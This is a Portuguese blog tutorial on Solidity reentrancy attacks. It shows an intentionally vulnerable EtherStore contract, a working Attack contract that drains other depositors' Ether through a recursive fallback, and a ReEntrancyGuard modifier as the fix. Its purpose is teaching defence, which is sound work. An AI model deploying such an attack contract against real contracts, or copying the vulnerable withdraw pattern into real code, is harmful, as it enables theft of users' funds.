Ataque de reentrada, aprenda como funciona e como evitar

porMatheusem17/06/2022

Nesse artigo iremos aprender a como um contrato malicioso de reentrada funciona e como previnir um ataque em seu contrato inteligente.

Vulnerabilidade

Digamos que o contrato A chama contrato B.
A exploração de reentrada permite B chamar de volta A antes que A termine a execução.

Um exemplo de como um ataque funciona:
EtherStore é um contrato onde você pode depositar e retirar ETH.
Este contrato é vulnerável ao ataque de reentrada.
Vamos ver por quê.

  1. Implante o contrato EtherStore
  2. As contas de Alice (Conta 1) e Bob (Conta 2) na EtherStore depositam 1 Ether cada
  3. Implante o ataque com o endereço da EtherStore
  4. Chame Attack.attack enviando 1 ether (usando a do Eve (Conta 3)). Você receberá 3 Ethers de volta (2 Ethers roubados de Alice e Bob, mais 1 Ether enviado deste contrato)

O que aconteceu?
O ataque conseguiu chamar EtherStore.withdraw várias vezes antes que EtherStore.withdraw termina-se de executar.

Aqui está como as funções foram chamadas:

  • Attack.attack
  • EtherStore.deposit
  • EtherStore.withdraw
  • Fallback de ataque (recebe 1 Ether)
  • EtherStore.withdraw
  • Attack.fallback (recebe 1 Ether)
  • EtherStore.withdraw
  • Fallback de ataque (recebe 1 Ether)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Falha ao enviar Ether");
balances[msg.sender] = 0;
}
// Função auxiliar para verificar o saldo deste contrato
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback é chamado quando EtherStore envia Ether para este contrato.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Função auxiliar para verificar o saldo deste contrato
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

Técnicas Preventivas

  • Certifique-se de que todas as mudanças de estado aconteçam antes de chamar contratos externos
  • Use modificadores de função que impeçam a reentrada

Aqui está um exemplo de como proteger seu contrato de um ataque de reentrada

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "Bloqueado para reentrada até finalizar a operação atual");
locked = true;
_;
locked = false;
}
}

Testar no Remix